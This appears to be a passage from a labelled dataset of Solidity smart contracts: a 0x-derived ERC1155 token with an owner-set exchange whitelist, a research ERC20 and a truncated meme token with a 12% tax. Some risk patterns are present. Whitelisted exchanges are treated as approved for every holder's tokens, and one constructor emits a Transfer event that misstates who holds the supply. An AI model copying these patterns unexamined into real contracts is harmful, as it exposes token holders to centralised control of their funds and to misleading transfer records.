// bytes4(keccak256("Uint256BinOpError(uint8,uint256,uint256)"))
bytes4 internal constant UINT256_BINOP_ERROR_SELECTOR =
0xe946c1bb;
// bytes4(keccak256("Uint256DowncastError(uint8,uint256)"))
bytes4 internal constant UINT256_DOWNCAST_ERROR_SELECTOR =
0xc996af7b;
enum BinOpErrorCodes {
ADDITION_OVERFLOW,
MULTIPLICATION_OVERFLOW,
SUBTRACTION_UNDERFLOW,
DIVISION_BY_ZERO
}
enum DowncastErrorCodes {
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT32,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT64,
VALUE_TOO_LARGE_TO_DOWNCAST_TO_UINT96
}
// solhint-disable func-name-mixedcase
function Uint256BinOpError(
BinOpErrorCodes errorCode,
uint256 a,
uint256 b
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_BINOP_ERROR_SELECTOR,
errorCode,
a,
b
);
}
function Uint256DowncastError(
DowncastErrorCodes errorCode,
uint256 a
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
UINT256_DOWNCAST_ERROR_SELECTOR,
errorCode,
a
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
/**
* Utility library of inline functions on addresses
*/
library LibAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
import "./lib/LibSafeMath.sol";
import "./lib/LibAddress.sol";
import "./interface/IERC1155.sol";
import "./interface/IERC1155Receiver.sol";
import "./mixin/MixinNonFungibleToken.sol";
import "./mixin/MixinOwnable.sol";
import "./WhitelistExchangesProxy.sol";
contract ERC1155 is
IERC1155,
MixinNonFungibleToken,
Ownable
{
using LibAddress for address;
using LibSafeMath for uint256;
// selectors for receiver callbacks
bytes4 constant public ERC1155_RECEIVED = 0xf23a6e61;
bytes4 constant public ERC1155_BATCH_RECEIVED = 0xbc197c81;
// id => (owner => balance)
mapping (uint256 => mapping(address => uint256)) internal balances;
// owner => (operator => approved)
mapping (address => mapping(address => bool)) internal operatorApproval;
address public exchangesRegistry;
function setExchangesRegistry(address newExchangesRegistry) external onlyOwner() {
exchangesRegistry = newExchangesRegistry;
}
/// @notice Transfers value amount of an _id from the _from address to the _to address specified.
/// @dev MUST emit TransferSingle event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if balance of sender for token `_id` is lower than the `_value` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`.
/// @param from Source address
/// @param to Target address
/// @param id ID of the token type
/// @param value Transfer amount
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 value,
bytes calldata data
)
override
external
{
// sanity checks
require(
to != address(0x0),
"CANNOT_TRANSFER_TO_ADDRESS_ZERO"
);
require(
from == msg.sender || isApprovedForAll(from, msg.sender),
"INSUFFICIENT_ALLOWANCE"
);
// perform transfer
if (isNonFungible(id)) {
require(
value == 1,
"AMOUNT_EQUAL_TO_ONE_REQUIRED"
);
require(
nfOwners[id] == from,
"NFT_NOT_OWNED_BY_FROM_ADDRESS"
);
nfOwners[id] = to;
// You could keep balance of NF type in base type id like so:
// uint256 baseType = getNonFungibleBaseType(_id);
// balances[baseType][_from] = balances[baseType][_from].safeSub(_value);
// balances[baseType][_to] = balances[baseType][_to].safeAdd(_value);
} else {
balances[id][from] = balances[id][from].safeSub(value);
balances[id][to] = balances[id][to].safeAdd(value);
}
emit TransferSingle(msg.sender, from, to, id, value);
// if `to` is a contract then trigger its callback
if (to.isContract()) {
bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155Received(
msg.sender,
from,
id,
value,
data
);
require(
callbackReturnValue == ERC1155_RECEIVED,
"BAD_RECEIVER_RETURN_VALUE"
);
}
}
/// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call).
/// @dev MUST emit TransferBatch event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if length of `_ids` is not the same as length of `_values`.
/// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`.
/// @param from Source addresses
/// @param to Target addresses
/// @param ids IDs of each token type
/// @param values Transfer amounts per token type
/// @param data Additional data with no specified format, sent in call to `_to`
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
override
external
{
// sanity checks
require(
to != address(0x0),
"CANNOT_TRANSFER_TO_ADDRESS_ZERO"
);
require(
ids.length == values.length,
"TOKEN_AND_VALUES_LENGTH_MISMATCH"
);
// Only supporting a global operator approval allows us to do
// only 1 check and not to touch storage to handle allowances.
require(
from == msg.sender || isApprovedForAll(from, msg.sender),
"INSUFFICIENT_ALLOWANCE"
);
// perform transfers
for (uint256 i = 0; i < ids.length; ++i) {
// Cache value to local variable to reduce read costs.
uint256 id = ids[i];
uint256 value = values[i];
if (isNonFungible(id)) {
require(
value == 1,
"AMOUNT_EQUAL_TO_ONE_REQUIRED"
);
require(
nfOwners[id] == from,
"NFT_NOT_OWNED_BY_FROM_ADDRESS"
);
nfOwners[id] = to;
} else {
balances[id][from] = balances[id][from].safeSub(value);
balances[id][to] = balances[id][to].safeAdd(value);
}
}
emit TransferBatch(msg.sender, from, to, ids, values);
// if `to` is a contract then trigger its callback
if (to.isContract()) {
bytes4 callbackReturnValue = IERC1155Receiver(to).onERC1155BatchReceived(
msg.sender,
from,
ids,
values,
data
);
require(
callbackReturnValue == ERC1155_BATCH_RECEIVED,
"BAD_RECEIVER_RETURN_VALUE"
);
}
}
/// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
/// @dev MUST emit the ApprovalForAll event on success.
/// @param operator Address to add to the set of authorized operators
/// @param approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address operator, bool approved) external override {
operatorApproval[msg.sender][operator] = approved;
emit ApprovalForAll(msg.sender, operator, approved);
}
/// @notice Queries the approval status of an operator for a given owner.
/// @param owner The owner of the Tokens
/// @param operator Address of authorized operator
/// @return True if the operator is approved, false if not
function isApprovedForAll(address owner, address operator) public override view returns (bool) {
bool approved = operatorApproval[owner][operator];
if (!approved && exchangesRegistry != address(0)) {
return WhitelistExchangesProxy(exchangesRegistry).isAddressWhitelisted(operator) == true;
}
return approved;
}
/// @notice Get the balance of an account's Tokens.
/// @param owner The address of the token holder
/// @param id ID of the Token
/// @return The _owner's balance of the Token type requested
function balanceOf(address owner, uint256 id) external override view returns (uint256) {
if (isNonFungibleItem(id)) {
return nfOwners[id] == owner ? 1 : 0;
}
return balances[id][owner];
}
/// @notice Get the balance of multiple account/token pairs
/// @param owners The addresses of the token holders
/// @param ids ID of the Tokens
/// @return balances_ The _owner's balance of the Token types requested
function balanceOfBatch(address[] calldata owners, uint256[] calldata ids) external override view returns (uint256[] memory balances_) {
// sanity check
require(
owners.length == ids.length,
"OWNERS_AND_IDS_MUST_HAVE_SAME_LENGTH"
);
// get balances
balances_ = new uint256[](owners.length);
for (uint256 i = 0; i < owners.length; ++i) {
uint256 id = ids[i];
if (isNonFungibleItem(id)) {
balances_[i] = nfOwners[id] == owners[i] ? 1 : 0;
} else {
balances_[i] = balances[id][owners[i]];
}
}
return balances_;
}
bytes4 constant private INTERFACE_SIGNATURE_ERC165 = 0x01ffc9a7;
bytes4 constant private INTERFACE_SIGNATURE_ERC1155 = 0xd9b67a26;
function supportsInterface(bytes4 _interfaceID) external view returns (bool) {
if (_interfaceID == INTERFACE_SIGNATURE_ERC165 ||
_interfaceID == INTERFACE_SIGNATURE_ERC1155) {
return true;
}
return false;
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
import "./IERC1155.sol";
/// @dev Mintable form of ERC1155
/// Shows how easy it is to mint new items
interface IERC1155Mintable is
IERC1155
{
/// @dev creates a new token
/// @param isNF is non-fungible token
/// @return type_ of token (a unique identifier)
function create(
bool isNF
)
external
returns (uint256 type_);
/// @dev mints fungible tokens
/// @param id token type
/// @param to beneficiaries of minted tokens
/// @param quantities amounts of minted tokens
function mintFungible(
uint256 id,
address[] calldata to,
uint256[] calldata quantities
)
external;
/// @dev mints a non-fungible token
/// @param type_ token type
/// @param to beneficiaries of minted tokens
function mintNonFungible(
uint256 type_,
address[] calldata to
)
external;
}
pragma solidity ^0.7.0;
import "./MixinOwnable.sol";
contract MixinContractURI is Ownable {
string public contractURI;
function setContractURI(string calldata newContractURI) external onlyOwner() {
contractURI = newContractURI;
}
}
pragma solidity ^0.7.0;
import "./MixinOwnable.sol";
import "../lib/LibString.sol";
contract MixinTokenURI is Ownable {
using LibString for string;
string public baseMetadataURI = "";
function setBaseMetadataURI(string memory newBaseMetadataURI) public onlyOwner() {
baseMetadataURI = newBaseMetadataURI;
}
function uri(uint256 _id) public view returns (string memory) {
return LibString.strConcat(
baseMetadataURI,
LibString.uint2hexstr(_id)
);
}
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
/// @title ERC-1155 Multi Token Standard
/// @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1155.md
/// Note: The ERC-165 identifier for this interface is 0xd9b67a26.
interface IERC1155 {
/// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred,
/// including zero value transfers as well as minting or burning.
/// Operator will always be msg.sender.
/// Either event from address `0x0` signifies a minting operation.
/// An event to address `0x0` signifies a burning or melting operation.
/// The total value transferred from address 0x0 minus the total value transferred to 0x0 may
/// be used by clients and exchanges to be added to the "circulating supply" for a given token ID.
/// To define a token ID with no initial balance, the contract SHOULD emit the TransferSingle event
/// from `0x0` to `0x0`, with the token creator as `_operator`.
event TransferSingle(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256 _id,
uint256 _value
);
/// @dev Either TransferSingle or TransferBatch MUST emit when tokens are transferred,
/// including zero value transfers as well as minting or burning.
///Operator will always be msg.sender.
/// Either event from address `0x0` signifies a minting operation.
/// An event to address `0x0` signifies a burning or melting operation.
/// The total value transferred from address 0x0 minus the total value transferred to 0x0 may
/// be used by clients and exchanges to be added to the "circulating supply" for a given token ID.
/// To define multiple token IDs with no initial balance, this SHOULD emit the TransferBatch event
/// from `0x0` to `0x0`, with the token creator as `_operator`.
event TransferBatch(
address indexed _operator,
address indexed _from,
address indexed _to,
uint256[] _ids,
uint256[] _values
);
/// @dev MUST emit when an approval is updated.
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
/// @dev MUST emit when the URI is updated for a token ID.
/// URIs are defined in RFC 3986.
/// The URI MUST point a JSON file that conforms to the "ERC-1155 Metadata JSON Schema".
event URI(
string _value,
uint256 indexed _id
);
/// @notice Transfers value amount of an _id from the _from address to the _to address specified.
/// @dev MUST emit TransferSingle event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if balance of sender for token `_id` is lower than the `_value` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155Received` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`.
/// @param from Source address
/// @param to Target address
/// @param id ID of the token type
/// @param value Transfer amount
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 value,
bytes calldata data
)
external;
/// @notice Send multiple types of Tokens from a 3rd party in one transfer (with safety call).
/// @dev MUST emit TransferBatch event on success.
/// Caller must be approved to manage the _from account's tokens (see isApprovedForAll).
/// MUST throw if `_to` is the zero address.
/// MUST throw if length of `_ids` is not the same as length of `_values`.
/// MUST throw if any of the balance of sender for token `_ids` is lower than the respective `_values` sent.
/// MUST throw on any other error.
/// When transfer is complete, this function MUST check if `_to` is a smart contract (code size > 0).
/// If so, it MUST call `onERC1155BatchReceived` on `_to` and revert if the return value
/// is not `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`.
/// @param from Source addresses
/// @param to Target addresses
/// @param ids IDs of each token type
/// @param values Transfer amounts per token type
/// @param data Additional data with no specified format, sent in call to `_to`
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external;
/// @notice Enable or disable approval for a third party ("operator") to manage all of the caller's tokens.
/// @dev MUST emit the ApprovalForAll event on success.
/// @param operator Address to add to the set of authorized operators
/// @param approved True if the operator is approved, false to revoke approval
function setApprovalForAll(address operator, bool approved) external;
/// @notice Queries the approval status of an operator for a given owner.
/// @param owner The owner of the Tokens
/// @param operator Address of authorized operator
/// @return True if the operator is approved, false if not
function isApprovedForAll(address owner, address operator) external view returns (bool);
/// @notice Get the balance of an account's Tokens.
/// @param owner The address of the token holder
/// @param id ID of the Token
/// @return The _owner's balance of the Token type requested
function balanceOf(address owner, uint256 id) external view returns (uint256);
/// @notice Get the balance of multiple account/token pairs
/// @param owners The addresses of the token holders
/// @param ids ID of the Tokens
/// @return balances_ The _owner's balance of the Token types requested
function balanceOfBatch(
address[] calldata owners,
uint256[] calldata ids
)
external
view
returns (uint256[] memory balances_);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
interface IERC1155Receiver {
/// @notice Handle the receipt of a single ERC1155 token type
/// @dev The smart contract calls this function on the recipient
/// after a `safeTransferFrom`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
///transaction being reverted
/// Note: the contract address is always the message sender
/// @param operator The address which called `safeTransferFrom` function
/// @param from The address which previously owned the token
/// @param id An array containing the ids of the token being transferred
/// @param value An array containing the amount of tokens being transferred
/// @param data Additional data with no specified format
/// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/// @notice Handle the receipt of multiple ERC1155 token types
/// @dev The smart contract calls this function on the recipient
/// after a `safeTransferFrom`. This function MAY throw to revert and reject the
/// transfer. Return of other than the magic value MUST result in the
/// transaction being reverted
/// Note: the contract address is always the message sender
/// @param operator The address which called `safeTransferFrom` function
/// @param from The address which previously owned the token
/// @param ids An array containing ids of each token being transferred
/// @param values An array containing amounts of each token being transferred
/// @param data Additional data with no specified format
/// @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
/*
Copyright 2019 ZeroEx Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.7.0;
contract MixinNonFungibleToken {
uint256 constant internal TYPE_MASK = uint256(uint128(~0)) << 128;
uint256 constant internal NF_INDEX_MASK = uint128(~0);
uint256 constant internal TYPE_NF_BIT = 1 << 255;
mapping (uint256 => address) internal nfOwners;
/// @dev Returns true if token is non-fungible
function isNonFungible(uint256 id) public pure returns(bool) {
return id & TYPE_NF_BIT == TYPE_NF_BIT;
}
/// @dev Returns true if token is fungible
function isFungible(uint256 id) public pure returns(bool) {
return id & TYPE_NF_BIT == 0;
}
/// @dev Returns index of non-fungible token
function getNonFungibleIndex(uint256 id) public pure returns(uint256) {
return id & NF_INDEX_MASK;
}
/// @dev Returns base type of non-fungible token
function getNonFungibleBaseType(uint256 id) public pure returns(uint256) {
return id & TYPE_MASK;
}
/// @dev Returns true if input is base-type of a non-fungible token
function isNonFungibleBaseType(uint256 id) public pure returns(bool) {
// A base type has the NF bit but does not have an index.
return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK == 0);
}
/// @dev Returns true if input is a non-fungible token
function isNonFungibleItem(uint256 id) public pure returns(bool) {
// A base type has the NF bit but does has an index.
return (id & TYPE_NF_BIT == TYPE_NF_BIT) && (id & NF_INDEX_MASK != 0);
}
/// @dev returns owner of a non-fungible token
function ownerOf(uint256 id) public view returns (address) {
return nfOwners[id];
}
}
pragma solidity ^0.7.0;
import "./mixin/MixinOwnable.sol";
contract WhitelistExchangesProxy is Ownable {
mapping(address => bool) internal proxies;
bool public paused = true;
function setPaused(bool newPaused) external onlyOwner() {
paused = newPaused;
}
function updateProxyAddress(address proxy, bool status) external onlyOwner() {
proxies[proxy] = status;
}
function isAddressWhitelisted(address proxy) external view returns (bool) {
if (paused) {
return false;
} else {
return proxies[proxy];
}
}
}
pragma solidity ^0.7.0;
library LibString {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function uint2hexstr(uint i) internal pure returns (string memory) {
if (i == 0) {
return "0";
}
uint j = i;
uint len;
while (j != 0) {
len++;
j = j >> 4;
}
uint mask = 15;
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
uint curr = (i & mask);
bstr[k--] = curr > 9 ? byte(uint8(55 + curr)) : byte(uint8(48 + curr));
i = i >> 4;
}
return string(bstr);
}
} | True | [
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|
pragma solidity ^0.5.8;
// This is a token designed to research Impermanent Loss in an LP. Do not purchase! Token creator will not be liable for any financial damage or loss.//
/**
* @title SafeMaths
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
*/
contract Token {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is Token {
using SafeMath for uint256;
mapping(address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(balances[msg.sender] >= _value && balances[_to].add(_value) >= balances[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool success) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DappChannel is StandardToken {
string public constant name = "Archangel";
string public constant symbol = "ARCH";
uint256 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000 * (10**decimals);
address public tokenWallet;
constructor() public {
totalSupply = INITIAL_SUPPLY;
tokenWallet = msg.sender;
balances[tokenWallet] = totalSupply;
}
} | True | [
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|
/**
CultShiba
https://t.me/CultSHIBETH
12% buy and sell tax, 3% max txn 3% max wallet.
**/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract CultSHIB is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private _tTotal = 1000000000000000 * 10**18;
uint256 private _maxWallet= 300000000000000 * 10**18;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "CultSHIB";
string private constant _symbol = "CultSHIB";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 10;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(33);
_maxWallet=_tTotal.div(33);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
